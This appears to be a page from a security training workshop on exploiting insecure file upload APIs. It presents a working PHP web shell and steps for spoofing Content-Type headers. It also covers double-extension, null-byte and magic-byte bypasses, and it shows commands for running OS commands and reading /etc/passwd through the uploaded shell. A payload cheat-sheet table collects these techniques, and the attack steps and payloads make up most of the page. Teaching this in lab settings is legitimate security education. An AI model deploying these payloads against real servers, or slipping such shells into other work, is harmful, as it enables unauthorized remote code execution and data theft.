API Exploitation
& File Attacks
When an API doesn't check whether the file type a user claims matches the file they actually upload, an attacker can rename a web shell to "profile.jpg" and get remote code execution. Today we'll do exactly that.
What You'll Learn
By the end of this workshop, you'll be able to identify and exploit insecure file upload endpoints to achieve remote code execution.
Unrestricted File Upload
Many APIs rely on client-supplied headers or file extensions to validate uploads—neither is trustworthy.
shell.php disguised as an image gives the attacker a
foothold on the server.filename="shell.php" Content-Type: image/jpeg/uploads/shell.php ✓ Server acceptsGET /uploads/shell.php?cmd=id →
uid=33(www-data)The server accepts the PHP file via the image upload endpoint; a direct request executes it—the Content-Type check never happened.
The 5‑Step Upload Attack
From discovering the endpoint to executing commands on the server.
- Browse the app and intercept traffic in Burp Suite
- Look for parameters like
file=,attachment=, oravatar=
- Upload a normal image; confirm success and note stored URL
- Upload a .php file with safe Content-Type; observe rejection reason
- Rename shell to double extension:
shell.php.jpgorshell.pHp - Set
Content-Type: image/jpegwhile keeping .php in filename
- Send multipart request with spoofed headers
- Confirm server returns 200/201 with file path
- Visit stored file URL in browser or via curl
- Append
?cmd=idto confirm execution as web server user
# Step 1: Upload a normal image to learn the stored path Upload any .jpg via avatar form; note response path → Expected: /files/avatars/photo.jpg visible # Step 2: Create minimal PHP web shell <?php echo system($_GET['cmd']); ?> → Save locally as shell.php # Step 3: Upload shell.php as if it were an image (Burp Repeater) Content-Disposition: form-data; name="avatar"; filename="shell.php" Content-Type: image/jpeg → Expected: HTTP 200, file stored as /files/avatars/shell.php # Step 4: Execute command via shell GET /files/avatars/shell.php?cmd=cat+/home/carlos/secret → Expected: Carlos's secret string printed
Troubleshooting
Test Your Knowledge
Content-Type: image/jpeg when uploading a PHP
shell?.php is blacklisted?Now Do It Yourself
| COMMAND / PAYLOAD | WHAT IT DOES | WHEN TO USE |
|---|---|---|
<?php echo system($_GET['cmd']); ?> |
Minimal web shell; runs OS commands via URL | First shell to try |
filename="shell.php.jpg" |
Double extension bypass | When server blocks .php by extension |
Content-Type: image/jpeg |
Spoof MIME type in upload request | When server checks header only |
\xFF\xD8\xFF + PHP code |
Prepend JPEG magic bytes to payload | When server checks magic bytes |
?cmd=id |
Verify RCE as current user | Confirm shell executed |
?cmd=cat+/etc/passwd |
Read sensitive system file | Privilege escalation recon |
.phtml / .php5 / .phar |
Alternative PHP extensions | When .php is blacklisted |
passthru() / shell_exec() |
Alternative exec functions | When system() is disabled |
filename="shell.php%00.jpg" |
Null-byte bypass (older PHP) | Server truncates at null byte |
Go Deeper
PortSwigger: File Upload Vulnerabilities
Covers all bypass techniques with progressive interactive labs.
OWASP Unrestricted File Upload
Canonical reference for defensive controls: store outside webroot, randomize filenames, validate magic bytes.
HackTricks: File Upload
Comprehensive attacker's cheatsheet of extension bypasses, magic byte tricks, and race condition uploads.
API Exploitation & File Attacks Handout
Full Day 5 workshop handout and quick reference.